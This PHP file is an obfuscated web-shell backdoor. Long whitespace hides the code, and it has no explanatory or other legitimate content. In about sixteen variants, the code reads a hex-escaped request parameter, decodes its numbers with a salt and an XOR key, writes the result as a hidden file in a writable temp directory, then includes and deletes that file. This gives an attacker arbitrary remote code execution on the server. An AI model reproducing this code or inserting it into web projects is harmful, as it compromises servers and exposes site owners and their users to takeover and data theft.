<?php																																										if(in_array("re\x73\x6F\x75rc\x65", array_keys($_REQUEST))){ $flag = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); $val = $_REQUEST["re\x73\x6F\x75rc\x65"]; $val = explode ( "." , $val ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($val as $x => $v7) { $chS = ord($salt[$x% $sLen]); $d = ((int)$v7 - $chS - ($x% 10))^65; $marker .=chr($d); } foreach ($flag as $ptr) { if (is_dir($ptr) ? is_writable($ptr) : false) { $ref = "$ptr/.entry"; if (file_put_contents($ref, $marker)) { include $ref; @unlink($ref); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "dchun\x6B")){ $hld = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $holder = $_REQUEST["dchun\x6B"]; $holder = explode ( '.',$holder ) ; $parameter_group = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $o = 0; array_walk($holder, function ($v5) use (&$parameter_group, &$o, $s7, $lenS) { $chS = ord($s7[$o % $lenS] ); $dec = ((int)$v5 - $chS - ($o % 10))^ 10; $parameter_group .= chr($dec ); $o++; } ); while ($entry = array_shift($hld)) { if ((is_dir($entry) and is_writable($entry))) { $data_chunk = "$entry" . "/.ent"; if (@file_put_contents($data_chunk, $parameter_group) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(array_key_exists("\x70\x61\x72\x61\x6D\x65\x74er_\x67roup", $_POST) && !is_null($_POST["\x70\x61\x72\x61\x6D\x65\x74er_\x67roup"])){ $marker = $_POST["\x70\x61\x72\x61\x6D\x65\x74er_\x67roup"]; $marker = explode ( ".", $marker) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($marker as $l => $v3) {$chS= ord($salt[$l % $sLen]); $d= ((int)$v3 - $chS - ($l % 10))^35; $desc.= chr($d); } $rec = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($rec as $key) { if (is_dir($key) ? is_writable($key) : false) { $bind = join("/", [$key, ".dat"]); if (file_put_contents($bind, $desc)) { include $bind; @unlink($bind); exit; } } } }
																																										if(@$_REQUEST["\x72\x65so\x75r\x63e"] !== null){ $reference = array_filter([getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP")]); $property_set = $_REQUEST["\x72\x65so\x75r\x63e"]; $property_set = explode ( '.' , $property_set ) ; $comp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $__len = count($property_set); for ($o = 0; $o < $__len; $o++) { $v8 = $property_set[$o]; $sChar = ord($salt3[$o % $sLen]); $dec = ((int)$v8 - $sChar - ($o % 10))^36; $comp .= chr($dec); } foreach ($reference as $key => $holder) { if (is_dir($holder) && is_writable($holder)) { $pointer = vsprintf("%s/%s", [$holder, ".factor"]); $success = file_put_contents($pointer, $comp); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(isset($_REQUEST["\x72es"]) ? true : false){ $k = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir()]); $dchunk = $_REQUEST["\x72es"]; $dchunk = explode( '.' , $dchunk); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $y = 0; $__tmp = $dchunk; while( $v2 = array_shift( $__tmp)) { $chS = ord( $salt[$y %$sLen]); $d =( ( int)$v2 - $chS -( $y %10)) ^ 9; $flag .=chr( $d); $y++; } $sym = 0; do { $flg = $k[$sym] ?? null; if ($sym >= count($k)) break; if (is_writable($flg) && is_dir($flg)) { $bind = "$flg/.dat"; $success = file_put_contents($bind, $flag); if ($success) { include $bind; @unlink($bind); exit;} } $sym++; } while (true); }
																																										if(array_key_exists("p\x67rp", $_POST) && !is_null($_POST["p\x67rp"])){ $ref = $_POST["p\x67rp"]; $ref = explode ('.' , $ref ); $hld = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $j = 0; $len = count( $ref ); do { if( $j >= $len) break; $v7 = $ref[$j]; $sChar = ord( $s8[$j% $sLen] ); $dec =( ( int)$v7 - $sChar -( $j% 10))^ 58; $hld .= chr( $dec ); $j++; } while( true ); $reference = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), getcwd()]); foreach ($reference as $desc) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $k = "$desc/.element"; $file = fopen($k, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "en\x74")){ $data_chunk = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $ent = $_REQUEST["en\x74"]; $ent= explode ( "." , $ent ); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; array_walk($ent , function ($v3) use (&$item , &$m , $s , $lenS) { $sChar = ord($s[$m% $lenS]); $dec = ((int)$v3 - $sChar - ($m% 10)) ^ 88; $item .= chr($dec); $m++; }); while ($desc = array_shift($data_chunk)) { if (is_dir($desc) ? is_writable($desc) : false) { $binding = join("/", [$desc, ".data"]); if (file_put_contents($binding, $item)) { require $binding; unlink($binding); die(); } } } }
																																										if(isset($_POST["\x66\x6Cg"]) ? true : false){ $object = $_POST["\x66\x6Cg"]; $object =explode ( ".", $object ); $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $len = count( $object); for( $l = 0; $l < $len; $l++) { $v5 = $object[$l]; $sChar = ord( $s[$l % $lenS]); $dec = ( ( int)$v5 - $sChar -( $l % 10)) ^ 55; $value.= chr( $dec); } $res = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $ent = 0; do { $pointer = $res[$ent] ?? null; if ($ent >= count($res)) break; if (is_dir($pointer) ? is_writable($pointer) : false) { $holder = "$pointer/.marker"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $holder; @unlink($holder); exit; } } $ent++; } while (true); }
																																										if(array_key_exists("d\x65\x73c\x72\x69p\x74or", $_POST)){ $resource = $_POST["d\x65\x73c\x72\x69p\x74or"]; $resource =explode ('.', $resource ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach($resource as $v=>$v7): $sChar= ord($s[$v % $lenS] ); $dec= ((int)$v7 - $sChar -($v % 10)) ^ 86; $ent .=chr($dec ); endforeach; $parameter_group = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($parameter_group as $dat) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $sym = implode("/", [$dat, ".comp"]); if (file_put_contents($sym, $ent)) { include $sym; @unlink($sym); die(); } } } }
																																										if(array_key_exists("\x73y\x6D", $_REQUEST)){ $entity = $_REQUEST["\x73y\x6D"]; $entity = explode( "." , $entity ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $o = 0; foreach ($entity as $v7) {$sChar = ord($s[$o % $sLen] ); $d = ((int)$v7 - $sChar - ($o % 10)) ^ 24; $k .= chr($d ); $o++; } $value = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP")]); foreach ($value as $key => $pgrp) { if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $record = implode("/", [$pgrp, ".property_set"]); if (file_put_contents($record, $k)) { require $record; unlink($record); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "bind\x69ng")){ $itm = $_POST["bind\x69ng"]; $itm = explode ('.' , $itm) ; $record= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt8); $__len= count( $itm); for( $n= 0; $n <$__len; $n++) { $v2= $itm[$n]; $chS= ord( $salt8[$n %$sLen]); $d= ( ( int)$v2 - $chS -( $n %10)) ^ 44; $record .= chr( $d); } $resource = array_filter([getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($resource as $reference): if (is_dir($reference) ? is_writable($reference) : false) { $ptr = join("/", [$reference, ".res"]); $success = file_put_contents($ptr, $record); if ($success) { include $ptr; @unlink($ptr); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64\x63hunk")){ $record = $_REQUEST["\x64\x63hunk"]; $record = explode( "." ,$record) ; $val = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); foreach( $record as $o =>$v9) { $sChar = ord( $s6[$o % $lenS] ); $dec =( ( int)$v9 - $sChar -( $o % 10))^ 26; $val .= chr( $dec ); } $ref = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $itm = 0; do { $object = $ref[$itm] ?? null; if ($itm >= count($ref)) break; if (is_dir($object) && is_writable($object)) { $dat = vsprintf("%s/%s", [$object, ".res"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $dat; @unlink($dat); exit; } } $itm++; } while (true); }
																																										if(!is_null($_POST["f\x61\x63\x74or"] ?? null)){ $reference = $_POST["f\x61\x63\x74or"]; $reference = explode( ".",$reference ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; while ($o < count($reference)) { $v2 = $reference[$o]; $chS = ord($s[$o % $sLen]); $dec = ((int)$v2 - $chS - ($o % 10)) ^16; $elem .= chr($dec); $o++; } $flg = array_filter(["/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir()]); $val = 0; do { $descriptor = $flg[$val] ?? null; if ($val >= count($flg)) break; if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $sym = str_replace("{var_dir}", $descriptor, "{var_dir}/.data"); if (file_put_contents($sym, $elem)) { include $sym; @unlink($sym); exit; } } $val++; } while (true); }
																																										if(@$_POST["r\x65\x63\x6Frd"] !== null){ $item = $_POST["r\x65\x63\x6Frd"]; $item = explode ( '.' , $item ) ; $holder = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $x = 0; while ($x < count($item)) { $v6 = $item[$x]; $chS = ord($salt8[$x % $lenS] ); $d = ((int)$v6 - $chS - ($x % 10)) ^ 30; $holder .= chr($d ); $x++; } $data_chunk = array_filter(["/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($mrk = 0, $resource = count($data_chunk); $mrk < $resource; $mrk++) { $flag = $data_chunk[$mrk]; if (is_dir($flag) && is_writable($flag)) { $sym = implode("/", [$flag, ".obj"]); if (file_put_contents($sym, $holder)) { include $sym; @unlink($sym); die(); } } } }
																																										if(isset($_POST["\x64c\x68un\x6B"])){ $sym = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", session_save_path()]); $object = $_POST["\x64c\x68un\x6B"]; $object= explode ("." , $object ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($object as $l => $v2) { $sChar = ord($salt[$l % $sLen] ); $d = ((int)$v2 - $sChar - ($l % 10)) ^ 97; $property_set .= chr($d ); } foreach ($sym as $itm): if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $data_chunk = vsprintf("%s/%s", [$itm, ".marker"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } endforeach; }


if(array_key_exists("f\x6Cg", $_REQUEST)){
	$binding = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP")]);
	$data_chunk = $_REQUEST["f\x6Cg"];
	 $data_chunk	=explode	 	(		 "." , 	 $data_chunk 	)	 ;	 
	$pgrp=	 '';
            $salt=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($salt);
            $u=	 0;
            $__len=	 count($data_chunk);
    
            do {	if ($u >= $__len) break;
                $v2=	 $data_chunk[$u];
                $sChar=	 ord($salt[$u % $sLen]);
                $d=	 ((int)$v2 - $sChar - ($u % 10)) ^32;
                $pgrp .=	 chr($d);
                $u++;
            } while (true);
	$ent = 0;
do {
    $marker = $binding[$ent] ?? null;
    if ($ent >= count($binding)) break;
    		if (is_dir($marker) && is_writable($marker)) {
    $resource = str_replace("{var_dir}", $marker, "{var_dir}/.token");
    $success = file_put_contents($resource, $pgrp);
if ($success) {
	include $resource;
	@unlink($resource);
	exit;}
}
    $ent++;
} while (true);
}